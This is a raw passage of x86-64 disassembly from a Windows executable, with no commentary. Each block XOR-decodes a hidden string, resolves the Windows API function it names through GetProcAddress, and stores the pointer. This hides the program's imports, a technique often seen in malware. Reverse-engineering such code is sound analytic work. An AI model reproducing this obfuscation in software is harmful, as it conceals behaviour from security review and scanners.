mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 6], 0x1eb447d
mov dword [rdi + rbx], 0x227d82af
mov word [rdi + rbx + 4], 0x58b3
lea rcx, [0x1401c4db0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 9], 0
je 0x140075c57
xor byte [rdx], 0xeb
xor byte [rdx + 1], 0xe7
xor byte [rdx + 2], 0x11
xor byte [rdx + 3], 0x47
xor byte [rdx + 4], 0xc7
xor byte [rdx + 5], 0x3d
xor byte [rdx + 6], 0x39
xor byte [rdx + 7], 7
xor byte [rdx + 8], 0xeb
mov byte [rdx + 9], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459a0], rax
mov ecx, 0x1794
mov eax, dword [rcx + rbx]
mov edi, 0x16d0
test al, 1
jne 0x140075caa
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 9], 0x1f5
mov dword [rdi + rbx], 0x18d79043
mov dword [rdi + rbx + 4], 0xc5628660
mov byte [rdi + rbx + 8], 0x52
lea rcx, [0x1401c4d90]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xa], 0
je 0x140075cdf
xor byte [rdx], 0x11
xor byte [rdx + 1], 0xf5
xor byte [rdx + 2], 0xbb
xor byte [rdx + 3], 0x7d
xor byte [rdx + 4], 1
xor byte [rdx + 5], 0xf5
xor byte [rdx + 6], 7
xor byte [rdx + 7], 0x81
xor byte [rdx + 8], 0x11
xor byte [rdx + 9], 0xf5
mov byte [rdx + 0xa], 0
mov rcx, qword [0x140245868]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459a8], rax
mov ecx, 0x19bc
mov eax, dword [rcx + rbx]
mov edi, 0x16c0
test al, 1
jne 0x140075d2e
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 8], 0x19342a2
mov dword [rdi + rbx], 0xdffc4b80
mov dword [rdi + rbx + 4], 0x7d3d11d0
lea rcx, [0x1401c4d60]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xb], 0
je 0x140075d67
xor byte [rdx], 0xc7
xor byte [rdx + 1], 0x27
xor byte [rdx + 2], 0x93
xor byte [rdx + 3], 0xbd
xor byte [rdx + 4], 0xb1
xor byte [rdx + 5], 0x7d
xor byte [rdx + 6], 0x7b
xor byte [rdx + 7], 0xf
xor byte [rdx + 8], 0xc7
xor byte [rdx + 9], 0x27
xor byte [rdx + 0xa], 0x93
mov byte [rdx + 0xb], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459b0], rax
mov ecx, 0x1ab8
mov eax, dword [rcx + rbx]
mov edi, 0x17d8
test al, 1
jne 0x140075db6
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 8], 0x1a95bbb
mov dword [rdi + rbx], 0xdedb5b84
mov dword [rdi + rbx + 4], 0xcbbf3605
lea rcx, [0x1401c4d30]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xb], 0
je 0x140075def
xor byte [rdx], 0xd7
xor byte [rdx + 1], 0x2f
xor byte [rdx + 2], 0xa9
xor byte [rdx + 3], 0xbb
xor byte [rdx + 4], 0x71
xor byte [rdx + 5], 0x55
xor byte [rdx + 6], 0xd7
xor byte [rdx + 7], 0x89
xor byte [rdx + 8], 0xd7
xor byte [rdx + 9], 0x2f
xor byte [rdx + 0xa], 0xa9
mov byte [rdx + 0xb], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459b8], rax
mov ecx, 0x17c8
mov eax, dword [rcx + rbx]
mov edi, 0x1a68
test al, 1
jne 0x140075e42
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 9], 0x1bf
mov dword [rdi + rbx], 0x8bf7da8c
mov dword [rdi + rbx + 4], 0x3f44136
mov byte [rdi + rbx + 8], 0xb8
lea rcx, [0x1401c4d10]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xa], 0
je 0x140075e77
xor byte [rdx], 0xcb
xor byte [rdx + 1], 0xbf
xor byte [rdx + 2], 0x83
xor byte [rdx + 3], 0xcf
xor byte [rdx + 4], 0x7f
xor byte [rdx + 5], 3
xor byte [rdx + 6], 0x9d
xor byte [rdx + 7], 0x77
xor byte [rdx + 8], 0xcb
xor byte [rdx + 9], 0xbf
mov byte [rdx + 0xa], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459c0], rax
movdqa xmm0, xmmword [0x14021aff0]
mov word [rbp + 0x60], 0xd042
mov ecx, 0x1950
mov eax, dword [rcx + rbx]
mov edi, 0x1be8
test al, 1
jne 0x140075efb
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x13], 1
lea rax, [rcx + 0x12]
lea rdx, [rbp + 0x62]
cmp rcx, rdx
ja 0x140075edf
lea rdx, [rbp + 0x50]
cmp rax, rdx
jb 0x140075edf
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x60]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0xf1
jmp 0x140075eee
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x60]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0xf1
lea rcx, [0x1401c4ce0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x13], 0
je 0x140075f54
xor byte [rdx], 0x31
xor byte [rdx + 1], 0x91
xor byte [rdx + 2], 0xf1
xor byte [rdx + 3], 0x9d
xor byte [rdx + 4], 0x49
xor byte [rdx + 5], 0x49
xor byte [rdx + 6], 0xbd
xor byte [rdx + 7], 0x7d
xor byte [rdx + 8], 0x31
xor byte [rdx + 9], 0x91
xor byte [rdx + 0xa], 0xf1
xor byte [rdx + 0xb], 0x9d
xor byte [rdx + 0xc], 0x49
xor byte [rdx + 0xd], 0x49
xor byte [rdx + 0xe], 0xbd
xor byte [rdx + 0xf], 0x7d
xor byte [rdx + 0x10], 0x31
xor byte [rdx + 0x11], 0x91
xor byte [rdx + 0x12], 0xf1
mov byte [rdx + 0x13], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459c8], rax
mov ecx, 0x194c
mov eax, dword [rcx + rbx]
mov edi, 0x1ae8
test al, 1
jne 0x140075fab
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xc], 0x10b0eaf
mov dword [rdi + rbx], 0x2f3f5ec0
mov dword [rdi + rbx + 4], 0x8d6e3bba
mov dword [rdi + rbx + 8], 0xa2649e8
lea rcx, [0x1401c4cb0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xf], 0
je 0x140075ff4
xor byte [rdx], 0x87
xor byte [rdx + 1], 0x3b
xor byte [rdx + 2], 0x4b
xor byte [rdx + 3], 0x6b
xor byte [rdx + 4], 0xdb
xor byte [rdx + 5], 0x4f
xor byte [rdx + 6], 0xb
xor byte [rdx + 7], 0xcb
xor byte [rdx + 8], 0x87
xor byte [rdx + 9], 0x3b
xor byte [rdx + 0xa], 0x4b
xor byte [rdx + 0xb], 0x6b
xor byte [rdx + 0xc], 0xdb
xor byte [rdx + 0xd], 0x4f
xor byte [rdx + 0xe], 0xb
mov byte [rdx + 0xf], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459d0], rax
movdqa xmm0, xmmword [str.._x]
mov ecx, 0x1978
mov eax, dword [rcx + rbx]
mov edi, 0x17b0
test al, 1
jne 0x140076068
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x11], 1
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xe0]
cmp rax, rdx
ja 0x140076054
lea rdx, [rbp + 0xd0]
cmp rcx, rdx
jb 0x140076054
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x1b
jmp 0x14007605b
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x1b
lea rcx, [0x1401c4c90]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x11], 0
je 0x1400760b9
xor byte [rdx], 0x1b
xor byte [rdx + 1], 0x4b
xor byte [rdx + 2], 0x4b
xor byte [rdx + 3], 0x3b
xor byte [rdx + 4], 0xb1
xor byte [rdx + 5], 0x35
xor byte [rdx + 6], 0x11
xor byte [rdx + 7], 0x99
xor byte [rdx + 8], 0x1b
xor byte [rdx + 9], 0x4b
xor byte [rdx + 0xa], 0x4b
xor byte [rdx + 0xb], 0x3b
xor byte [rdx + 0xc], 0xb1
xor byte [rdx + 0xd], 0x35
xor byte [rdx + 0xe], 0x11
xor byte [rdx + 0xf], 0x99
xor byte [rdx + 0x10], 0x1b
mov byte [rdx + 0x11], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459d8], rax
mov ecx, 0x178c
mov eax, dword [rcx + rbx]
mov edi, 0x18c0
test al, 1
jne 0x14007610f
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xa], 0x1e5ce84
mov dword [rdi + rbx], 0xda950c44
mov dword [rdi + rbx + 4], 0x67c11696
mov word [rdi + rbx + 8], 0x462
lea rcx, [0x1401c4c70]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xd], 0
je 0x140076150
xor byte [rdx], 3
xor byte [rdx + 1], 0x69
xor byte [rdx + 2], 0xe1
xor byte [rdx + 3], 0x8f
xor byte [rdx + 4], 0xe5
xor byte [rdx + 5], 0x73
xor byte [rdx + 6], 0xb3
xor byte [rdx + 7], 0x29
xor byte [rdx + 8], 3
xor byte [rdx + 9], 0x69
xor byte [rdx + 0xa], 0xe1
xor byte [rdx + 0xb], 0x8f
xor byte [rdx + 0xc], 0xe5
mov byte [rdx + 0xd], 0
mov rcx, qword [0x140245880]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459e0], rax
mov ecx, 0x1768
mov eax, dword [rcx + rbx]
mov edi, 0x18f0
test al, 1
jne 0x1400761a7
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xc], 0x1596a24
mov dword [rdi + rbx], 0x962e8b65
mov dword [rdi + rbx + 4], 0x67305935
mov dword [rdi + rbx + 8], 0xa03fbd50
lea rcx, [0x1401c4c40]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xf], 0
je 0x1400761f0
xor byte [rdx], 0x37
xor byte [rdx + 1], 0xfb
xor byte [rdx + 2], 0x4d
xor byte [rdx + 3], 0xc5
xor byte [rdx + 4], 0x41
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x59
xor byte [rdx + 7], 9
xor byte [rdx + 8], 0x37
xor byte [rdx + 9], 0xfb
xor byte [rdx + 0xa], 0x4d
xor byte [rdx + 0xb], 0xc5
xor byte [rdx + 0xc], 0x41
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x59
mov byte [rdx + 0xf], 0
mov rcx, qword [0x140245888]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459e8], rax
movdqa xmm0, xmmword [0x14021b650]
mov word [rbp + 0x78], 0x5c57
mov ecx, 0x1a14
mov eax, dword [rcx + rbx]
mov edi, 0x1b10
test al, 1
jne 0x140076274
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x13], 1
lea rax, [rcx + 0x12]
lea rdx, [rbp + 0x7a]
cmp rcx, rdx
ja 0x140076258
lea rdx, [rbp + 0x68]
cmp rax, rdx
jb 0x140076258
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x78]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x7f
jmp 0x140076267
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x78]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x7f
lea rcx, [0x1401c4c10]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x13], 0
je 0x1400762cd
xor byte [rdx], 0x23
xor byte [rdx + 1], 0x3d
xor byte [rdx + 2], 0x7f
xor byte [rdx + 3], 0x7d
xor byte [rdx + 4], 0x7d
xor byte [rdx + 5], 1
xor byte [rdx + 6], 0x8f
xor byte [rdx + 7], 0x8d
xor byte [rdx + 8], 0x23
xor byte [rdx + 9], 0x3d
xor byte [rdx + 0xa], 0x7f
xor byte [rdx + 0xb], 0x7d
xor byte [rdx + 0xc], 0x7d
xor byte [rdx + 0xd], 1
xor byte [rdx + 0xe], 0x8f
xor byte [rdx + 0xf], 0x8d
xor byte [rdx + 0x10], 0x23
xor byte [rdx + 0x11], 0x3d
xor byte [rdx + 0x12], 0x7f
mov byte [rdx + 0x13], 0
mov rcx, qword [0x140245860]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459f0], rax
mov ecx, 0x1b6c
mov eax, dword [rcx + rbx]
mov edi, 0x1868
test al, 1
jne 0x140076320
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 9], 0x16b
mov dword [rdi + rbx], 0x6a4c0487
mov dword [rdi + rbx + 4], 0xd45be123
mov byte [rdi + rbx + 8], 0xae
lea rcx, [0x1401c4bf0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xa], 0
je 0x140076355
xor byte [rdx], 0xcb
xor byte [rdx + 1], 0x6b
xor byte [rdx + 2], 0x2f
xor byte [rdx + 3], 0xb
xor byte [rdx + 4], 0x4f
xor byte [rdx + 5], 0xa7
xor byte [rdx + 6], 0x29
xor byte [rdx + 7], 0xb1
xor byte [rdx + 8], 0xcb
xor byte [rdx + 9], 0x6b
mov byte [rdx + 0xa], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402459f8], rax
movdqa xmm0, xmmword [0x14021b250]
mov dword [rsp + 0x68], 0x72f9fa23
mov word [rsp + 0x6c], 0x5bf6
mov ecx, 0x1790
mov eax, dword [rcx + rbx]
mov edi, 0x1998
test al, 1
jne 0x1400763f4
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rsp + 0x6e]
cmp rcx, rdx
ja 0x1400763d0
lea rdx, [rsp + 0x58]
cmp rax, rdx
jb 0x1400763d0
movups xmmword [rcx], xmm0
mov eax, dword [rsp + 0x68]
mov dword [rcx + 0x10], eax
movzx eax, word [rsp + 0x6c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x6b
jmp 0x1400763e7
movups xmmword [rcx], xmm0
mov eax, dword [rsp + 0x68]
mov dword [rcx + 0x10], eax
movzx eax, word [rsp + 0x6c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x6b
lea rcx, [0x1401c4bc0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x17], 0
je 0x14007645d
xor byte [rdx], 0x61
xor byte [rdx + 1], 0x93
xor byte [rdx + 2], 0x8d
xor byte [rdx + 3], 0x1f
xor byte [rdx + 4], 0x97
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x6b
xor byte [rdx + 7], 0xf
xor byte [rdx + 8], 0x61
xor byte [rdx + 9], 0x93
xor byte [rdx + 0xa], 0x8d
xor byte [rdx + 0xb], 0x1f
xor byte [rdx + 0xc], 0x97
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x6b
xor byte [rdx + 0xf], 0xf
xor byte [rdx + 0x10], 0x61
xor byte [rdx + 0x11], 0x93
xor byte [rdx + 0x12], 0x8d
xor byte [rdx + 0x13], 0x1f
xor byte [rdx + 0x14], 0x97
xor byte [rdx + 0x15], 0x2b
xor byte [rdx + 0x16], 0x6b
mov byte [rdx + 0x17], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245988], rax
mov ecx, 0x1bc4
mov eax, dword [rcx + rbx]
mov edi, 0x1668
test al, 1
jne 0x1400764b4
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xc], 0x1c147f6
mov dword [rdi + rbx], 0xe1a27874
mov dword [rdi + rbx + 4], 0x2ca84bda
mov dword [rdi + rbx + 8], 0xea917e5b
lea rcx, [0x1401c4b90]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xf], 0
je 0x1400764fd
xor byte [rdx], 0x37
xor byte [rdx + 1], 0x17
xor byte [rdx + 2], 0xeb
xor byte [rdx + 3], 0x8f
xor byte [rdx + 4], 0xb3
xor byte [rdx + 5], 0x3f
xor byte [rdx + 6], 0xc1
xor byte [rdx + 7], 0x4d
xor byte [rdx + 8], 0x37
xor byte [rdx + 9], 0x17
xor byte [rdx + 0xa], 0xeb
xor byte [rdx + 0xb], 0x8f
xor byte [rdx + 0xc], 0xb3
xor byte [rdx + 0xd], 0x3f
xor byte [rdx + 0xe], 0xc1
mov byte [rdx + 0xf], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a00], rax
movdqa xmm0, xmmword [0x14021b350]
mov dword [rbp - 0x48], 0xfc9bf4cd
mov ecx, 0x184c
mov eax, dword [rcx + rbx]
mov edi, 0x1980
test al, 1
jne 0x14007657e
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp - 0x44]
cmp rcx, rdx
ja 0x140076564
lea rdx, [rbp - 0x58]
cmp rax, rdx
jb 0x140076564
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x48]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0xff
jmp 0x140076571
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x48]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0xff
lea rcx, [0x1401c4b70]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x15], 0
je 0x1400765dc
xor byte [rdx], 0xbf
xor byte [rdx + 1], 0x9d
xor byte [rdx + 2], 0xef
xor byte [rdx + 3], 0x85
not byte [rdx + 4]
xor byte [rdx + 5], 0x47
xor byte [rdx + 6], 0xa9
xor byte [rdx + 7], 0xf9
xor byte [rdx + 8], 0xbf
xor byte [rdx + 9], 0x9d
xor byte [rdx + 0xa], 0xef
xor byte [rdx + 0xb], 0x85
not byte [rdx + 0xc]
xor byte [rdx + 0xd], 0x47
xor byte [rdx + 0xe], 0xa9
xor byte [rdx + 0xf], 0xf9
xor byte [rdx + 0x10], 0xbf
xor byte [rdx + 0x11], 0x9d
xor byte [rdx + 0x12], 0xef
xor byte [rdx + 0x13], 0x85
not byte [rdx + 0x14]
mov byte [rdx + 0x15], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a08], rax
movdqa xmm0, xmmword [0x14021b5f0]
mov ecx, 0x1864
mov eax, dword [rcx + rbx]
mov edi, 0x1700
test al, 1
jne 0x140076650
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x11], 1
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xf8]
cmp rax, rdx
ja 0x14007663c
lea rdx, [rbp + 0xe8]
cmp rcx, rdx
jb 0x14007663c
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x83
jmp 0x140076643
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x83
lea rcx, [0x1401c4b50]
call fcn.14018ede0
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x11], 0
je 0x1400766a1
xor byte [rdx], 0x83
xor byte [rdx + 1], 0xef
xor byte [rdx + 2], 0xdf
xor byte [rdx + 3], 0xd9
xor byte [rdx + 4], 0xdd
xor byte [rdx + 5], 0xe5
xor byte [rdx + 6], 0x2d
xor byte [rdx + 7], 0x85
xor byte [rdx + 8], 0x83
xor byte [rdx + 9], 0xef
xor byte [rdx + 0xa], 0xdf
xor byte [rdx + 0xb], 0xd9
xor byte [rdx + 0xc], 0xdd
xor byte [rdx + 0xd], 0xe5
xor byte [rdx + 0xe], 0x2d
xor byte [rdx + 0xf], 0x85
xor byte [rdx + 0x10], 0x83
mov byte [rdx + 0x11], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a10], rax
movdqa xmm0, xmmword [0x14021b2a0]
mov word [rbp - 0x18], 0x439f
mov ecx, 0x1a94
mov eax, dword [rcx + rbx]
mov edi, 0x1878
test al, 1
jne 0x14007671d
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x12], 1
lea rax, [rcx + 0x11]
lea rdx, [rbp - 0x17]
cmp rcx, rdx
ja 0x140076705
lea rdx, [rbp - 0x28]
cmp rax, rdx
jb 0x140076705
movups xmmword [rcx], xmm0
movzx eax, word [rbp - 0x18]
mov word [rcx + 0x10], ax
jmp 0x140076710
movups xmmword [rcx], xmm0
movzx eax, word [rbp - 0x18]
mov word [rcx + 0x10], ax
lea rcx, [0x1401c4b30]
call fcn.14018ede0
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x12], 0
je 0x140076772
xor byte [rdx], 0xeb
xor byte [rdx + 1], 0x43
xor byte [rdx + 2], 0x61
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0x3b
xor byte [rdx + 5], 0x31
xor byte [rdx + 6], 0x25
xor byte [rdx + 7], 0x1f
xor byte [rdx + 8], 0xeb
xor byte [rdx + 9], 0x43
xor byte [rdx + 0xa], 0x61
xor byte [rdx + 0xb], 0xb5
xor byte [rdx + 0xc], 0x3b
xor byte [rdx + 0xd], 0x31
xor byte [rdx + 0xe], 0x25
xor byte [rdx + 0xf], 0x1f
xor byte [rdx + 0x10], 0xeb
xor byte [rdx + 0x11], 0x43
mov byte [rdx + 0x12], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a18], rax
mov ecx, 0x1adc
mov eax, dword [rcx + rbx]
mov edi, 0x18d8
test al, 1
jne 0x1400767c9
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xc], 0x1adee97
mov dword [rdi + rbx], 0x5208b63c
mov dword [rdi + rbx + 4], 0x28c2e595
mov dword [rdi + rbx + 8], 0x7a09bb3c
lea rcx, [0x1401c4b00]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xf], 0
je 0x140076812
xor byte [rdx], 0x6f
xor byte [rdx + 1], 0xcf
xor byte [rdx + 2], 0x7b
xor byte [rdx + 3], 0x13
xor byte [rdx + 4], 0xf9
xor byte [rdx + 5], 0x89
xor byte [rdx + 6], 0xad
xor byte [rdx + 7], 0x4b
xor byte [rdx + 8], 0x6f
xor byte [rdx + 9], 0xcf
xor byte [rdx + 0xa], 0x7b
xor byte [rdx + 0xb], 0x13
xor byte [rdx + 0xc], 0xf9
xor byte [rdx + 0xd], 0x89
xor byte [rdx + 0xe], 0xad
mov byte [rdx + 0xf], 0
mov rcx, qword [0x140245890]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a20], rax
mov ecx, 0x1b68
mov eax, dword [rcx + rbx]
mov edi, 0x1890
test al, 1
jne 0x14007686d
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xd], 0x1ef
mov dword [rdi + rbx], 0x59d6426c
mov dword [rdi + rbx + 4], 0xc8128ad5
mov dword [rdi + rbx + 8], 0x71cc494b
mov byte [rdi + rbx + 0xc], 0xc0
lea rcx, [0x1401c4ae0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xe], 0
je 0x1400768b2
xor byte [rdx], 0x3f
xor byte [rdx + 1], 0x3b
xor byte [rdx + 2], 0xa5
xor byte [rdx + 3], 0x1f
xor byte [rdx + 4], 0xa7
xor byte [rdx + 5], 0xef
xor byte [rdx + 6], 0x77
xor byte [rdx + 7], 0x9b
xor byte [rdx + 8], 0x3f
xor byte [rdx + 9], 0x3b
xor byte [rdx + 0xa], 0xa5
xor byte [rdx + 0xb], 0x1f
xor byte [rdx + 0xc], 0xa7
xor byte [rdx + 0xd], 0xef
mov byte [rdx + 0xe], 0
mov rcx, qword [0x140245890]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a28], rax
mov ecx, 0x1ab4
mov eax, dword [rcx + rbx]
mov edi, 0x1748
test al, 1
jne 0x140076909
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xc], 0x13daacf
mov dword [rdi + rbx], 0xdb86fa38
mov dword [rdi + rbx + 4], 0x5f54a1dc
mov dword [rdi + rbx + 8], 0xdcbff412
lea rcx, [0x1401c4ab0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xf], 0
je 0x140076952
xor byte [rdx], 0x7b
xor byte [rdx + 1], 0x95
xor byte [rdx + 2], 0xd3
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0xb5
xor byte [rdx + 5], 0xcf
xor byte [rdx + 6], 0x3d
xor byte [rdx + 7], 0x2b
xor byte [rdx + 8], 0x7b
xor byte [rdx + 9], 0x95
xor byte [rdx + 0xa], 0xd3
xor byte [rdx + 0xb], 0xb5
xor byte [rdx + 0xc], 0xb5
xor byte [rdx + 0xd], 0xcf
xor byte [rdx + 0xe], 0x3d
mov byte [rdx + 0xf], 0
mov rcx, qword [0x140245878]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a30], rax
movdqa xmm0, xmmword [0x14021b6a0]
mov word [rbp], 0x5186
mov ecx, 0x19c0
mov eax, dword [rcx + rbx]
mov edi, 0x1938
test al, 1
jne 0x1400769ce
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x12], 1
lea rax, [rcx + 0x11]
lea rdx, [rbp + 1]
cmp rcx, rdx
ja 0x1400769b6
lea rdx, [rbp - 0x10]
cmp rax, rdx
jb 0x1400769b6
movups xmmword [rcx], xmm0
movzx eax, word [rbp]
mov word [rcx + 0x10], ax
jmp 0x1400769c1
movups xmmword [rcx], xmm0
movzx eax, word [rbp]
mov word [rcx + 0x10], ax
lea rcx, [0x1401c4a90]
call fcn.14018ede0
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x12], 0
je 0x140076a23
xor byte [rdx], 0xe3
xor byte [rdx + 1], 0x51
xor byte [rdx + 2], 0x87
xor byte [rdx + 3], 0x39
xor byte [rdx + 4], 0xe1
xor byte [rdx + 5], 0xb9
xor byte [rdx + 6], 0x8d
xor byte [rdx + 7], 0x91
xor byte [rdx + 8], 0xe3
xor byte [rdx + 9], 0x51
xor byte [rdx + 0xa], 0x87
xor byte [rdx + 0xb], 0x39
xor byte [rdx + 0xc], 0xe1
xor byte [rdx + 0xd], 0xb9
xor byte [rdx + 0xe], 0x8d
xor byte [rdx + 0xf], 0x91
xor byte [rdx + 0x10], 0xe3
xor byte [rdx + 0x11], 0x51
mov byte [rdx + 0x12], 0
mov rcx, qword [0x140245870]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a38], rax
mov ecx, 0x167c
mov eax, dword [rcx + rbx]
mov edi, 0x1b48
test al, 1
jne 0x140076a7e
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xd], 0x11b
mov dword [rdi + rbx], 0xda90ea1f
mov dword [rdi + rbx + 4], 0x1ea77e67
mov dword [rdi + rbx + 8], 0xedb2f628
mov byte [rdi + rbx + 0xc], 0x56
lea rcx, [0x1401c4a70]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xe], 0
je 0x140076ac3
xor byte [rdx], 0x4d
xor byte [rdx + 1], 0x8f
xor byte [rdx + 2], 0xf7
xor byte [rdx + 3], 0x95
xor byte [rdx + 4], 0x17
xor byte [rdx + 5], 0x1b
xor byte [rdx + 6], 0xc9
xor byte [rdx + 7], 0x55
xor byte [rdx + 8], 0x4d
xor byte [rdx + 9], 0x8f
xor byte [rdx + 0xa], 0xf7
xor byte [rdx + 0xb], 0x95
xor byte [rdx + 0xc], 0x17
xor byte [rdx + 0xd], 0x1b
mov byte [rdx + 0xe], 0
mov rcx, qword [0x140245880]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a40], rax
movdqa xmm0, xmmword [0x14021b530]
mov ecx, 0x1740
mov eax, dword [rcx + rbx]
mov edi, 0x1b78
test al, 1
jne 0x140076b37
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x11], 1
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x110]
cmp rax, rdx
ja 0x140076b23
lea rdx, [rbp + 0x100]
cmp rcx, rdx
jb 0x140076b23
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x1d
jmp 0x140076b2a
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x1d
lea rcx, [0x1401c4a50]
call fcn.14018ede0
nop
lea rdx, [rbx + rdi]
